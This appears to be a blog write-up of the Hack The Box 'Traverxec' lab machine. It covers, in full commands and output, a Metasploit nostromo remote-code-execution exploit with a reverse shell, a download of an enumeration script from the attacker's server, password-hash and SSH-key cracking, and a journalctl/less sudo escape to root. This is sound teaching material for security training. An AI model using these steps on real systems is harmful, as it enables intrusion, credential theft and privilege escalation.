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Hack The Box - Traverxec

This box was the last Easy box of the year 2019 and it has made me realise that I really have went a long way since the start of my journey in HackTheBox.

Configuration

The operating systems that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

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$ echo "10.10.10.165 traverxec.htb" >> /etc/hosts

Reconnaissance

Using nmap, we are able to determine the open ports and running services on the machine.

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$ nmap -sV -sT -sC traverxec.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-21 04:12 EST
Nmap scan report for traverxec.htb (10.10.10.165)
Host is up (0.26s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.82 seconds

Enumeration (1)

Not much can be done with the ssh service as we do not have any credentials on hand so lets come back to it later. As for the http service, maybe we can find some information on it ?

Seems like an online portfolio? There aren’t any pages to visit but there was a form which submits to a empty.html, which contained nothing useful.

Lets see if we can find any exploits using searchsploit.

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$ searchsploit nostromo
-------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                            |  Path
                                                                          | (/usr/share/exploitdb/)
-------------------------------------------------------------------------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)      | exploits/multiple/remote/47573.rb
nostromo nhttpd 1.9.3 - Directory Traversal Remote Command Execution      | exploits/linux/remote/35466.sh
-------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Exploitation

Awesome, lets use the Metasploit exploit to get a shell.

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$ msfconsole
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.XX.XX
LHOST => 10.10.XX.XX
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS traverxec.htb
RHOSTS => traverxec.htb
msf5 exploit(multi/http/nostromo_code_exec) > set ForceExploit true
ForceExploit => true
msf5 exploit(multi/http/nostromo_code_exec) > run 

[*] Started reverse TCP handler on 10.10.XX.XX:4444 
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.XX.XX:4444 -> 10.10.10.165:37316) at 2019-12-21 04:21:24 -0500

There’s no prompt but lets try to upgrade to a tty shell.

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python -c 'import pty; pty.spawn("/bin/bash")'
www-data@traverxec:/usr/bin$

Enumeration (2)

Lets see if running LinEnum will give us any insights on how to carry on. I will be starting a web server on my machine using the builtin SimpleHTTPServer module in python and use wget to retrieve it.

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$ mkdir httpserver
$ cd httpserver
$ cp ~/LinEnum.sh .
$ python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
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www-data@traverxec:/usr/bin$ cd /tmp
www-data@traverxec:/tmp$ wget http://10.10.XX.XX/LinEnum.sh
--2019-12-31 09:22:23--  http://10.10.XX.XX/LinEnum.sh
Connecting to 10.10.XX.XX:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46476 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'

LinEnum.sh          100%[===================>]  45.39K  59.2KB/s    in 0.8s    

2019-12-31 09:22:24 (59.2 KB/s) - 'LinEnum.sh' saved [46476/46476]

www-data@traverxec:/tmp$ 

Running LinEnum.sh shows that there is a username and a password hash in a .htaccess file.

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www-data@traverxec:/tmp$ ./LinEnum.sh
...
[-] htpasswd found - could contain passwords:
/var/nostromo/conf/.htpasswd
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
...

To crack it, I will be using hashcat.

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$ hashcat -m 500 -a 0 hash /usr/share/wordlists/rockyou.txt
...
$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/:Nowonly4me    
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Type........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
Time.Started.....: Sat Dec 21 09:07:19 2019 (5 mins, 0 secs)
Time.Estimated...: Sat Dec 21 09:12:19 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    36494 H/s (6.67ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 10776576/14344385 (75.13%)
Rejected.........: 0/10776576 (0.00%)
Restore.Point....: 10774528/14344385 (75.11%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1....: OBADIAH -> Nov25th

Started: Sat Dec 21 09:07:16 2019
Stopped: Sat Dec 21 09:12:20 2019

sshing as david did not work with david:Nowonly4me, so lets try taking a look at his home directory.

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www-data@traverxec:/usr/bin$ ls /home/david
ls: cannot open directory '/home/david': Permission denied

Kind of a deadend here so I scouted the forums for hints and many were saying to study the config of the nostromo service carefully.

/var/nostromo/conf/nhttpd.conf:

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# MAIN [MANDATORY]                                                                                
                                                                                                  
servername              traverxec.htb                                                             
serverlisten            *                                                                         
serveradmin             david@traverxec.htb                                                       
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

If we look at the documentation for the nostromo service,

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HOMEDIRS

To serve the home directories of your users via HTTP, enable the homedirs option by defining the path in where the home directories are stored, normally /home. To access a users home directory enter a ~ in the URL followed by the home directory name like in this example:
http://www.nazgul.ch/~hacki/
...

Hmm… If we append ~ in front of david to the URL, we get http://traverxec.htb/~david.

Nothing much here but we are getting somewhere. If we read more of the documentation,

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HOMEDIRS
...
You can restrict the access within the home directories to a single sub directory by defining it via the homedirs_public option

This means that the directory public_www must exist in the home directory of the users for this feature to work. Lets try browsing to /home/david/public_www.

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www-data@traverxec:/home/david/public_www$ ls
ls
index.html  protected-file-area

What do we have here ? Inside the protected-file-area, we find a backup of ssh files.

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www-data@traverxec:/home/david/public_www$ ls protected-file-area
backup-ssh-identity-files.tgz

Couldn’t find any curl or ftp on the machine to upload the files to us, so lets see if we can access the folder via the browser at http://traverxec.htb/~david/protected-file-area.

We get prompted for authentication, keyed in david:Nowonly4me and we can now proceed to download the file.

To extract the contents, we run tar on it.

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$ tar -xvf backup-ssh-identity-files.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

Lets see if we can ssh using the private ssh key.

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$ ssh -i id_rsa david@traverxec.htb
Enter passphrase for key 'id_rsa':

Seems like we need a passphrase. Lets see if we can crack it with john.

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$ python ssh2john.py id_rsa > david.hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt david.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 2 candidates left, minimum 8 needed for performance.
1g 0:00:00:02 DONE (2019-12-21 22:53) 0.4132g/s 5926Kp/s 5926Kc/s 5926KC/sa6_123..*7¡Vamos!
Session completed

user.txt

With the passphrase, lets try sshing as david and retrieve the user flag.

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$ ssh -i id_rsa david@traverxec.htb
Enter passphrase for key 'id_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Wed Jan  1 02:54:14 2020 from 10.10.XX.XX
david@traverxec:~$ cat user.txt
7db0XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Enumeration (3)

In david’s home directory , we see an interesting directory called bin.

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david@traverxec:~$ ls
bin  public_www  user.txt
david@traverxec:~$ ls bin
server-stats.head  server-stats.sh

server-stats.head contained an ASCII banner while server-stats.sh contained some commands.

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david@traverxec:~$ cat bin/server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

On the last line, we see a sudo command being ran.

Running the sudo command with the journalctl command simply prints some logs to the screen.

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david@traverxec:~$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Wed 2020-01-01 02:24:45 EST, end at Wed 2020-01-01 03:38:03 EST. --
Jan 01 02:50:20 traverxec nhttpd[458]: configuration has been reloaded
Jan 01 03:11:32 traverxec nhttpd[810]: stopped
Jan 01 03:13:22 traverxec nhttpd[458]: configuration has been reloaded
Jan 01 03:20:37 traverxec crontab[1414]: (www-data) LIST (www-data)
Jan 01 03:22:18 traverxec sudo[1420]: www-data : unknown user: #-1

According to journalctl’s entry in GTFOBins, we see that we are able to break out by spawning a shell by entering !/bin/sh. But where can we enter the command ?

According to the man page of journalctl, the output is piped to less!

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...
The output is paged through less by default, and long lines are "truncated" to screen
width. The hidden part can be viewed by using the left-arrow and right-arrow keys.
Paging can be disabled; see the --no-pager option and the "Environment" section below.
...

less will only work as intended if the output is more than the capacity of the terminal screen, hence if we shrink the width of it and run the command again,

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- Logs begin at Wed 2020-01-01 02:24:45 EST, end at Wed 2020-01-01 03:45:55 EST. --
Jan 01 03:22:18 traverxec sudo[1420]: www-data : unknown user: #-1
Jan 01 03:44:32 traverxec su[1670]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/9 ruser=www-data rhost=  user=davi
Jan 01 03:44:34 traverxec su[1670]: FAILED SU (to david) www-data on pts/9
Jan 01 03:45:04 traverxec su[1674]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tty=pts/9 ruser=www-data rhost=  user=davi
Jan 01 03:45:05 traverxec su[1674]: FAILED SU (to david) www-data on pts/9
lines 1-6/6 (END)

root.txt

We get a somewhat incomplete output and by entering !/bin/sh, we get a shell as root!

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!/bin/sh
# whoami
root
# cat /root/root.txt
9aa3XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.